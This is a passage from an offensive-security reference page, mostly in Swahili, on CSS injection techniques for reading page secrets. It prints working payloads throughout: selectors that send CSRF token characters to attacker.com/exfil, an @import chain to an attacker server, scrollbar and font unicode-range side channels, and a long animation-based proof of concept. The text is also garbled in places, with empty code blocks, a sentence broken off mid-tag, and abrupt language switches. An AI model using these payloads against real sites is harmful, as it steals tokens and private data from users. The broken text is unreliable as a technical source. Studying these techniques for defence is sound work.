# CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
## CSS Injection
### Attribute Selector
CSS selectors zimeundwa ili kuendana na thamani za `input` element's `name` na `value` attributes. Ikiwa attribute ya thamani ya kipengele cha input inaanza na herufi maalum, rasilimali ya nje iliyowekwa awali inaloadiwa:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
Hata hivyo, mbinu hii inakabiliwa na kikomo wakati wa kushughulikia vipengele vya ingizo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakui mandharinyuma.
#### Kuepuka kwa Vipengele Vilivyofichwa
Ili kuzunguka kikomo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia mchanganyiko wa ndugu wa jumla `~`. Sheria ya CSS kisha inatumika kwa ndugu wote wanaofuata kipengele cha ingizo kilichofichwa, na kusababisha picha ya mandharinyuma kupakuliwa:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Mfano wa vitendo wa kutumia mbinu hii umeelezwa katika kipande cha msimbo kilichotolewa. Unaweza kukiona [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Masharti ya Msingi kwa CSS Injection
Ili mbinu ya CSS Injection iwe na ufanisi, masharti fulani lazima yatekelezwe:
1. **Urefu wa Payload**: Kichocheo cha CSS injection lazima kiwe na uwezo wa kubeba payloads ndefu za kutosha ili kuzingatia wachaguo walioundwa.
2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda sura ya ukurasa, ambayo ni muhimu ili kuanzisha upya wa CSS na payloads mpya zilizoundwa.
3. **Rasilimali za Nje**: Mbinu hii inadhani uwezo wa kutumia picha zinazohifadhiwa nje. Hii inaweza kuwa na vizuizi na Sera ya Usalama wa Maudhui (CSP) ya tovuti.
### Kichaguo cha Sifa za Kijinga
Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha wachaguo **`:has`** na **`:not`** ili kubaini maudhui hata kutoka kwa vipengele vya kijinga. Hii ni muhimu sana unapokuwa huna wazo lolote kuhusu kilichomo ndani ya ukurasa wa wavuti unaopakia CSS injection.\
Pia inawezekana kutumia wachaguo hao kutoa taarifa kutoka kwa vizuizi kadhaa vya aina moja kama ilivyo:
```html
```
Kuchanganya hii na mbinu ifuatayo ya **@import**, inawezekana kutoa taarifa nyingi za **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Mbinu ya awali ina mapungufu, angalia mahitaji. Unahitaji kuwa na uwezo wa **kutuma viungo vingi kwa mwathirika**, au unahitaji kuwa na uwezo wa **iframe ukurasa ulio na udhaifu wa CSS injection**.
Hata hivyo, kuna mbinu nyingine ya busara inayotumia **CSS `@import`** kuboresha ubora wa mbinu hiyo.
Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) na inafanya kazi kama ifuatavyo:
Badala ya kupakia ukurasa huo mara kwa mara na payload tofauti kumi kila wakati (kama ilivyo katika ile ya awali), tutapakia **ukurasa mara moja tu na kwa kuagiza tu kwenye seva ya washambuliaji** (hii ndiyo payload ya kutuma kwa mwathirika):
```css
@import url("//attacker.com:5001/start?");
```
1. Uagizaji utaenda kupokea **script ya CSS** kutoka kwa washambuliaji na **kivinjari kitaipakia**.
2. Sehemu ya kwanza ya script ya CSS ambayo mshambuliaji atatuma ni **`@import` nyingine kwa seva ya washambuliaji tena.**
1. Seva ya washambuliaji haitajibu ombi hili bado, kwani tunataka kuvuja baadhi ya herufi na kisha kujibu uagizaji huu na mzigo wa kuvuja wa ifuatayo.
3. Sehemu ya pili na kubwa ya mzigo itakuwa **mzigo wa kuvuja wa mteule wa sifa**
1. Hii itatuma kwa seva ya washambuliaji **herufi ya kwanza ya siri na ya mwisho**
4. Mara baada ya seva ya washambuliaji kupokea **herufi ya kwanza na ya mwisho ya siri**, itajibu **uagizaji ulioombwa katika hatua ya 2**.
1. Jibu litakuwa sawa kabisa na **hatua za 2, 3 na 4**, lakini wakati huu litajaribu **kupata herufi ya pili ya siri na kisha ya kabla ya mwisho**.
Mshambuliaji atafuatilia **mzunguko huo hadi apate kuvuja kabisa siri**.
Unaweza kupata [**kanuni ya asili ya Pepe Vila ya kutumia hii hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**kanuni sawa lakini iliyoelezewa hapa**.](#css-injection)
> [!NOTE]
> Script itajaribu kugundua herufi 2 kila wakati (kutoka mwanzo na kutoka mwisho) kwa sababu mteule wa sifa unaruhusu kufanya mambo kama:
>
> ```css
> /* value^= ili kulinganisha mwanzo wa thamani*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= ili kulinganisha mwisho wa thamani*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> Hii inaruhusu script kuvuja siri haraka zaidi.
> [!WARNING]
> Wakati mwingine script **haiwezi kugundua kwa usahihi kwamba prefix + suffix iliyogunduliwa tayari ni bendera kamili** na itaendelea mbele (katika prefix) na nyuma (katika suffix) na wakati fulani itakwama.\
> Usijali, angalia tu **matokeo** kwa sababu **unaweza kuona bendera hapo**.
### Mteule Mwingine
Njia nyingine za kufikia sehemu za DOM kwa **mteule wa CSS**:
- **`.class-to-search:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "class-to-search" katika DOM.
- **`:empty`** mteule: Inatumika kwa mfano katika [**hii andiko**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
```
### XS-Search Inayotokana na Makosa
**Marejeo:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Makosa-Yaliyotokana na XS-Search PoC na @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Nia kuu ni **kutumia fonti maalum kutoka kwa mwisho ulio na udhibiti** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanaonyeshwa kwa fonti hii tu ikiwa rasilimali iliyoainishwa (`favicon.ico`) haiwezi kupakiwa**.
```html
```
1. **Matumizi ya Fonti Maalum**:
- Fonti maalum inafafanuliwa kwa kutumia sheria ya `@font-face` ndani ya tag ya `
AB
htm
```
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Text node exfiltration (I): ligatures
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Mbinu iliyoelezwa inahusisha kutoa maandiko kutoka kwa node kwa kutumia ligatures za fonti na kufuatilia mabadiliko katika upana. Mchakato huu unajumuisha hatua kadhaa:
1. **Uundaji wa Fonti Maalum**:
- Fonti za SVG zinatengenezwa na glyphs zikiwa na sifa ya `horiz-adv-x`, ambayo inaweka upana mkubwa kwa glyph inayowakilisha mfuatano wa herufi mbili.
- Mfano wa glyph ya SVG: ``, ambapo "XY" inamaanisha mfuatano wa herufi mbili.
- Fonti hizi kisha zinabadilishwa kuwa muundo wa woff kwa kutumia fontforge.
2. **Ugunduzi wa Mabadiliko ya Upana**:
- CSS inatumika kuhakikisha kuwa maandiko hayajikunja (`white-space: nowrap`) na kubinafsisha mtindo wa scrollbar.
- Kuonekana kwa scrollbar ya usawa, iliyopangwa tofauti, inafanya kazi kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfuatano maalum wa herufi, upo katika maandiko.
- CSS inayohusika:
```css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
```
3. **Mchakato wa Kutumia**:
- **Hatua ya 1**: Fonti zinaundwa kwa ajili ya jozi za herufi zikiwa na upana mkubwa.
- **Hatua ya 2**: Hila inayotegemea scrollbar inatumika kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya herufi) inapotolewa, ikionyesha uwepo wa mfuatano wa herufi.
- **Hatua ya 3**: Baada ya kugundua ligature, glyph mpya zinazowakilisha mfuatano wa herufi tatu zinaundwa, zikijumuisha jozi iliyogunduliwa na kuongeza herufi inayotangulia au inayofuatia.
- **Hatua ya 4**: Ugunduzi wa ligature ya herufi tatu unafanywa.
- **Hatua ya 5**: Mchakato unarudiwa, ukifunua maandiko yote hatua kwa hatua.
4. **Uboreshaji**:
- Njia ya sasa ya kuanzisha inayotumia `
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Hila hii ilitolewa katika hii [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset inayotumika katika node ya maandiko inaweza kuvuja **kwa kutumia fonti za kawaida** zilizowekwa kwenye kivinjari: hakuna fonti za nje -au za kawaida- zinazohitajika.
Dhana hii inahusisha kutumia animation kupanua upana wa `div` hatua kwa hatua, ikiruhusu herufi moja kwa wakati mmoja kuhamia kutoka sehemu ya 'suffix' ya maandiko hadi sehemu ya 'prefix'. Mchakato huu unagawanya maandiko katika sehemu mbili:
1. **Prefix**: Mstari wa awali.
2. **Suffix**: Mstari wa baadaye.
Hatua za mpito za herufi zitaonekana kama ifuatavyo:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Wakati wa mpito huu, **hila ya unicode-range** inatumika kubaini kila herufi mpya inapojiunga na prefix. Hii inafanywa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni ndefu zaidi kuliko fonti ya kawaida, hivyo kusababisha kuonekana kwa scrollbar ya wima. Kuonekana kwa scrollbar hii kunaonyesha kwa njia isiyo ya moja kwa moja uwepo wa herufi mpya katika prefix.
Ingawa njia hii inaruhusu kugundua herufi za kipekee zinapojitokeza, haijabainisha ni herufi ipi inarudiwa, bali tu kwamba kurudiwa kumetokea.
> [!NOTE]
> Kimsingi, **unicode-range inatumika kugundua herufi**, lakini kwa kuwa hatutaki kupakia fonti za nje, tunahitaji kutafuta njia nyingine.\
> Wakati **herufi** inapatikana, inapewa **fonti ya Comic Sans** iliyowekwa awali, ambayo inafanya herufi kuwa **kubwa** na inasababisha **kuonekana kwa scrollbar** ambayo itavuja **herufi iliyopatikana**.
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Text node exfiltration (III): kuvuja charset kwa font ya kawaida kwa kuficha vipengele (sio inahitaji mali za nje)
**Reference:** Hii inatajwa kama [suluhisho lisilo fanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Kesi hii ni sawa sana na ile ya awali, hata hivyo, katika kesi hii lengo la kufanya **chars fulani kuwa kubwa kuliko zingine ni kuficha kitu** kama kitufe kisichopaswa kubonyezwa na bot au picha ambayo haitapakiwa. Hivyo tunaweza kupima kitendo (au ukosefu wa kitendo) na kujua kama char fulani ipo ndani ya maandiko.
### Text node exfiltration (III): kuvuja charset kwa cache timing (sio inahitaji mali za nje)
**Reference:** Hii inatajwa kama [suluhisho lisilo fanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Katika kesi hii, tunaweza kujaribu kuvuja kama char ipo katika maandiko kwa kupakia font ya uwongo kutoka chanzo kilekile:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Ikiwa kuna mechi, **font itapakiwa kutoka `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, ** kivinjari kinapaswa kukiweka**, na hata kama hakuna cache, kuna **mekanism ya 304 isiyo badilishwa**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
Hata hivyo, ikiwa tofauti ya muda ya jibu lililohifadhiwa kutoka kwa lile lisilohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Hata hivyo, baada ya kupima, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba bot inatumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria sana.
### Uhamasishaji wa nodi ya maandiko (III): kuvuja charset kwa kupima kupakia mamia ya "fonts" za ndani (zinazohitaji mali za nje)
**Marejeleo:** Hii inatajwa kama [suluhisho lisilo fanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Katika kesi hii unaweza kuonyesha **CSS kupakia mamia ya fonts za uongo** kutoka chanzo kimoja wakati mechi inatokea. Kwa njia hii unaweza **kupima muda** inachukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
Na msimbo wa bot unaonekana kama ifuatavyo:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Hivyo, ikiwa fonti haifananishi, muda wa majibu unapofika kwenye bot unatarajiwa kuwa takriban sekunde 30. Hata hivyo, ikiwa kuna ulinganifu wa fonti, maombi mengi yatatumwa ili kupata fonti, na kusababisha mtandao kuwa na shughuli za kuendelea. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusitisha na kupokea majibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria kubaini ikiwa kuna ulinganifu wa fonti.
## References
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
{{#include ../../../banners/hacktricks-training.md}}